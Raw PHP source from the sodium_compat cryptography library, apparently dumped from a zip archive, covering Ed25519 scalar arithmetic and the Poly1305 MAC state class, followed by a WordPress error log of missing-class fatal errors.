$carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // s5 += s17 * 666643; // s6 += s17 * 470296; // s7 += s17 * 654183; // s8 -= s17 * 997805; // s9 += s17 * 136657; // s10 -= s17 * 683901; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); // s4 += s16 * 666643; // s5 += s16 * 470296; // s6 += s16 * 654183; // s7 -= s16 * 997805; // s8 += s16 * 136657; // s9 -= s16 * 683901; $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); // s3 += s15 * 666643; // s4 += s15 * 470296; // s5 += s15 * 654183; // s6 -= s15 * 997805; // s7 += s15 * 136657; // s8 -= s15 * 683901; $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); // s2 += s14 * 666643; // s3 += s14 * 470296; // s4 += s14 * 654183; // s5 -= s14 * 997805; // s6 += s14 * 136657; // s7 -= s14 * 683901; $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); // s1 += s13 * 666643; // s2 += s13 * 470296; // s3 += s13 * 654183; // s4 -= s13 * 997805; // s5 += s13 * 136657; // s6 -= s13 * 683901; $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry11 = s11 >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = s8 >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry9 = s9 >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry10 = s10 >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $s = array_fill(0, 32, 0); // s[0] = s0 >> 0; $s[0] = $s0 >> 0; // s[1] = s0 >> 8; $s[1] = $s0 >> 8; // s[2] = (s0 >> 16) | (s1 * ((uint64_t) 1 << 5)); $s[2] = ($s0 >> 16) | ($s1 << 5); // s[3] = s1 >> 3; $s[3] = $s1 >> 3; // s[4] = s1 >> 11; $s[4] = $s1 >> 11; // s[5] = (s1 >> 19) | (s2 * ((uint64_t) 1 << 2)); $s[5] = ($s1 >> 19) | ($s2 << 2); // s[6] = s2 >> 6; $s[6] = $s2 >> 6; // s[7] = (s2 >> 14) | (s3 * ((uint64_t) 1 << 7)); $s[7] = ($s2 >> 14) | ($s3 << 7); // s[8] = s3 >> 1; $s[8] = $s3 >> 1; // s[9] = s3 >> 9; $s[9] = $s3 >> 9; // s[10] = (s3 >> 17) | (s4 * ((uint64_t) 1 << 4)); $s[10] = ($s3 >> 17) | ($s4 << 4); // s[11] = s4 >> 4; $s[11] = $s4 >> 4; // s[12] = s4 >> 12; $s[12] = $s4 >> 12; // s[13] = (s4 >> 20) | (s5 * ((uint64_t) 1 << 1)); $s[13] = ($s4 >> 20) | ($s5 << 1); // s[14] = s5 >> 7; $s[14] = $s5 >> 7; // s[15] = (s5 >> 15) | (s6 * ((uint64_t) 1 << 6)); $s[15] = ($s5 >> 15) | ($s6 << 6); // s[16] = s6 >> 2; $s[16] = $s6 >> 2; // s[17] = s6 >> 10; $s[17] = $s6 >> 10; // s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3)); $s[18] = ($s6 >> 18) | ($s7 << 3); // s[19] = s7 >> 5; $s[19] = $s7 >> 5; // s[20] = s7 >> 13; $s[20] = $s7 >> 13; // s[21] = s8 >> 0; $s[21] = $s8 >> 0; // s[22] = s8 >> 8; $s[22] = $s8 >> 8; // s[23] = (s8 >> 16) | (s9 * ((uint64_t) 1 << 5)); $s[23] = ($s8 >> 16) | ($s9 << 5); // s[24] = s9 >> 3; $s[24] = $s9 >> 3; // s[25] = s9 >> 11; $s[25] = $s9 >> 11; // s[26] = (s9 >> 19) | (s10 * ((uint64_t) 1 << 2)); $s[26] = ($s9 >> 19) | ($s10 << 2); // s[27] = s10 >> 6; $s[27] = $s10 >> 6; // s[28] = (s10 >> 14) | (s11 * ((uint64_t) 1 << 7)); $s[28] = ($s10 >> 14) | ($s11 << 7); // s[29] = s11 >> 1; $s[29] = $s11 >> 1; // s[30] = s11 >> 9; $s[30] = $s11 >> 9; // s[31] = s11 >> 17; $s[31] = $s11 >> 17; return self::intArrayToString($s); } /** * @param string $s * @return string */ public static function sc25519_sq($s) { return self::sc25519_mul($s, $s); } /** * @param string $s * @param int $n * @param string $a * @return string */ public static function sc25519_sqmul($s, $n, $a) { for ($i = 0; $i < $n; ++$i) { $s = self::sc25519_sq($s); } return self::sc25519_mul($s, $a); } /** * @param string $s * @return string */ public static function sc25519_invert($s) { $_10 = self::sc25519_sq($s); $_11 = self::sc25519_mul($s, $_10); $_100 = self::sc25519_mul($s, $_11); $_1000 = self::sc25519_sq($_100); $_1010 = self::sc25519_mul($_10, $_1000); $_1011 = self::sc25519_mul($s, $_1010); $_10000 = self::sc25519_sq($_1000); $_10110 = self::sc25519_sq($_1011); $_100000 = self::sc25519_mul($_1010, $_10110); $_100110 = self::sc25519_mul($_10000, $_10110); $_1000000 = self::sc25519_sq($_100000); $_1010000 = self::sc25519_mul($_10000, $_1000000); $_1010011 = self::sc25519_mul($_11, $_1010000); $_1100011 = self::sc25519_mul($_10000, $_1010011); $_1100111 = self::sc25519_mul($_100, $_1100011); $_1101011 = self::sc25519_mul($_100, $_1100111); $_10010011 = self::sc25519_mul($_1000000, $_1010011); $_10010111 = self::sc25519_mul($_100, $_10010011); $_10111101 = self::sc25519_mul($_100110, $_10010111); $_11010011 = self::sc25519_mul($_10110, $_10111101); $_11100111 = self::sc25519_mul($_1010000, $_10010111); $_11101011 = self::sc25519_mul($_100, $_11100111); $_11110101 = self::sc25519_mul($_1010, $_11101011); $recip = self::sc25519_mul($_1011, $_11110101); $recip = self::sc25519_sqmul($recip, 126, $_1010011); $recip = self::sc25519_sqmul($recip, 9, $_10); $recip = self::sc25519_mul($recip, $_11110101); $recip = self::sc25519_sqmul($recip, 7, $_1100111); $recip = self::sc25519_sqmul($recip, 9, $_11110101); $recip = self::sc25519_sqmul($recip, 11, $_10111101); $recip = self::sc25519_sqmul($recip, 8, $_11100111); $recip = self::sc25519_sqmul($recip, 9, $_1101011); $recip = self::sc25519_sqmul($recip, 6, $_1011); $recip = self::sc25519_sqmul($recip, 14, $_10010011); $recip = self::sc25519_sqmul($recip, 10, $_1100011); $recip = self::sc25519_sqmul($recip, 9, $_10010111); $recip = self::sc25519_sqmul($recip, 10, $_11110101); $recip = self::sc25519_sqmul($recip, 8, $_11010011); return self::sc25519_sqmul($recip, 8, $_11101011); } /** * @param string $s * @return string */ public static function clamp($s) { $s_ = self::stringToIntArray($s); $s_[0] &= 248; $s_[31] |= 64; $s_[31] &= 127; return self::intArrayToString($s_); } /** * Ensure limbs are less than 28 bits long to prevent float promotion. * * This uses a constant-time conditional swap under the hood. * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_normalize(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $x = (PHP_INT_SIZE << 3) - 1; // 31 or 63 $g = self::fe_copy($f); $e = array( $g->e0, $g->e1, $g->e2, $g->e3, $g->e4, $g->e5, $g->e6, $g->e7, $g->e8, $g->e9 ); for ($i = 0; $i < 10; ++$i) { $mask = -(($e[$i] >> $x) & 1); /* * Get two candidate normalized values for $e[$i], depending on the sign of $e[$i]: */ $a = $e[$i] & 0x7ffffff; $b = -((-$e[$i]) & 0x7ffffff); /* * Return the appropriate candidate value, based on the sign of the original input: * * The following is equivalent to this ternary: * * $e[$i] = (($e[$i] >> $x) & 1) ? $a : $b; * * Except what's written doesn't contain timing leaks. */ $e[$i] = ($a ^ (($a ^ $b) & $mask)); } $g->e0 = $e[0]; $g->e1 = $e[1]; $g->e2 = $e[2]; $g->e3 = $e[3]; $g->e4 = $e[4]; $g->e5 = $e[5]; $g->e6 = $e[6]; $g->e7 = $e[7]; $g->e8 = $e[8]; $g->e9 = $e[9]; return $g; } }PK!k &p2p2src/Core/Poly1305/State.phpnu[ */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var int[] */ public $r; /** * @var int[] */ public $pad; /** * ParagonIE_Sodium_Core_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff), (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03), (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff), (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff), (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff) ); /* h = 0 */ $this->h = array(0, 0, 0, 0, 0); /* save pad for later */ $this->pad = array( self::load_4(self::substr($key, 16, 4)), self::load_4(self::substr($key, 20, 4)), self::load_4(self::substr($key, 24, 4)), self::load_4(self::substr($key, 28, 4)), ); $this->leftover = 0; $this->final = false; } /** * Zero internal buffer upon destruction */ public function __destruct() { $this->r[0] ^= $this->r[0]; $this->r[1] ^= $this->r[1]; $this->r[2] ^= $this->r[2]; $this->r[3] ^= $this->r[3]; $this->r[4] ^= $this->r[4]; $this->h[0] ^= $this->h[0]; $this->h[1] ^= $this->h[1]; $this->h[2] ^= $this->h[2]; $this->h[3] ^= $this->h[3]; $this->h[4] ^= $this->h[4]; $this->pad[0] ^= $this->pad[0]; $this->pad[1] ^= $this->pad[1]; $this->pad[2] ^= $this->pad[2]; $this->pad[3] ^= $this->pad[3]; $this->leftover = 0; $this->final = true; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); if ($bytes < 1) { return $this; } /* handle leftover */ if ($this->leftover) { $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } /** @var int $hibit */ $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */ $r0 = (int) $this->r[0]; $r1 = (int) $this->r[1]; $r2 = (int) $this->r[2]; $r3 = (int) $this->r[3]; $r4 = (int) $this->r[4]; $s1 = self::mul($r1, 5, 3); $s2 = self::mul($r2, 5, 3); $s3 = self::mul($r3, 5, 3); $s4 = self::mul($r4, 5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 += self::load_4(self::substr($message, 0, 4)) & 0x3ffffff; $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff; $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff; $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff; $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit; /* h *= r */ $d0 = ( self::mul($h0, $r0, 27) + self::mul($s4, $h1, 27) + self::mul($s3, $h2, 27) + self::mul($s2, $h3, 27) + self::mul($s1, $h4, 27) ); $d1 = ( self::mul($h0, $r1, 27) + self::mul($h1, $r0, 27) + self::mul($s4, $h2, 27) + self::mul($s3, $h3, 27) + self::mul($s2, $h4, 27) ); $d2 = ( self::mul($h0, $r2, 27) + self::mul($h1, $r1, 27) + self::mul($h2, $r0, 27) + self::mul($s4, $h3, 27) + self::mul($s3, $h4, 27) ); $d3 = ( self::mul($h0, $r3, 27) + self::mul($h1, $r2, 27) + self::mul($h2, $r1, 27) + self::mul($h3, $r0, 27) + self::mul($s4, $h4, 27) ); $d4 = ( self::mul($h0, $r4, 27) + self::mul($h1, $r3, 27) + self::mul($h2, $r2, 27) + self::mul($h3, $r1, 27) + self::mul($h4, $r0, 27) ); /* (partial) h %= p */ /** @var int $c */ $c = $d0 >> 26; /** @var int $h0 */ $h0 = $d0 & 0x3ffffff; $d1 += $c; /** @var int $c */ $c = $d1 >> 26; /** @var int $h1 */ $h1 = $d1 & 0x3ffffff; $d2 += $c; /** @var int $c */ $c = $d2 >> 26; /** @var int $h2 */ $h2 = $d2 & 0x3ffffff; $d3 += $c; /** @var int $c */ $c = $d3 >> 26; /** @var int $h3 */ $h3 = $d3 & 0x3ffffff; $d4 += $c; /** @var int $c */ $c = $d4 >> 26; /** @var int $h4 */ $h4 = $d4 & 0x3ffffff; $h0 += (int) self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; $h1 += $c; // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; } $this->h = array( (int) ($h0 & 0xffffffff), (int) ($h1 & 0xffffffff), (int) ($h2 & 0xffffffff), (int) ($h3 & 0xffffffff), (int) ($h4 & 0xffffffff) ); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); } $h0 = (int) $this->h[0]; $h1 = (int) $this->h[1]; $h2 = (int) $this->h[2]; $h3 = (int) $this->h[3]; $h4 = (int) $this->h[4]; /** @var int $c */ $c = $h1 >> 26; /** @var int $h1 */ $h1 &= 0x3ffffff; /** @var int $h2 */ $h2 += $c; /** @var int $c */ $c = $h2 >> 26; /** @var int $h2 */ $h2 &= 0x3ffffff; $h3 += $c; /** @var int $c */ $c = $h3 >> 26; $h3 &= 0x3ffffff; $h4 += $c; /** @var int $c */ $c = $h4 >> 26; $h4 &= 0x3ffffff; /** @var int $h0 */ $h0 += self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; /** @var int $h1 */ $h1 += $c; /* compute h + -p */ /** @var int $g0 */ $g0 = $h0 + 5; /** @var int $c */ $c = $g0 >> 26; /** @var int $g0 */ $g0 &= 0x3ffffff; /** @var int $g1 */ $g1 = $h1 + $c; /** @var int $c */ $c = $g1 >> 26; $g1 &= 0x3ffffff; /** @var int $g2 */ $g2 = $h2 + $c; /** @var int $c */ $c = $g2 >> 26; /** @var int $g2 */ $g2 &= 0x3ffffff; /** @var int $g3 */ $g3 = $h3 + $c; /** @var int $c */ $c = $g3 >> 26; /** @var int $g3 */ $g3 &= 0x3ffffff; /** @var int $g4 */ $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff; /* select h if h < p, or h + -p if h >= p */ /** @var int $mask */ $mask = ($g4 >> 31) - 1; $g0 &= $mask; $g1 &= $mask; $g2 &= $mask; $g3 &= $mask; $g4 &= $mask; /** @var int $mask */ $mask = ~$mask & 0xffffffff; /** @var int $h0 */ $h0 = ($h0 & $mask) | $g0; /** @var int $h1 */ $h1 = ($h1 & $mask) | $g1; /** @var int $h2 */ $h2 = ($h2 & $mask) | $g2; /** @var int $h3 */ $h3 = ($h3 & $mask) | $g3; /** @var int $h4 */ $h4 = ($h4 & $mask) | $g4; /* h = h % (2^128) */ /** @var int $h0 */ $h0 = (($h0) | ($h1 << 26)) & 0xffffffff; /** @var int $h1 */ $h1 = (($h1 >> 6) | ($h2 << 20)) & 0xffffffff; /** @var int $h2 */ $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff; /** @var int $h3 */ $h3 = (($h3 >> 18) | ($h4 << 8)) & 0xffffffff; /* mac = (h + pad) % (2^128) */ $f = (int) ($h0 + $this->pad[0]); $h0 = (int) $f; $f = (int) ($h1 + $this->pad[1] + ($f >> 32)); $h1 = (int) $f; $f = (int) ($h2 + $this->pad[2] + ($f >> 32)); $h2 = (int) $f; $f = (int) ($h3 + $this->pad[3] + ($f >> 32)); $h3 = (int) $f; return self::store32_le($h0 & 0xffffffff) . self::store32_le($h1 & 0xffffffff) . self::store32_le($h2 & 0xffffffff) . self::store32_le($h3 & 0xffffffff); } } PK!Bl#src/Core/Poly1305/error_lognu[[04-Sep-2026 13:27:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [04-Sep-2026 13:40:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [10-Sep-2026 10:29:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on 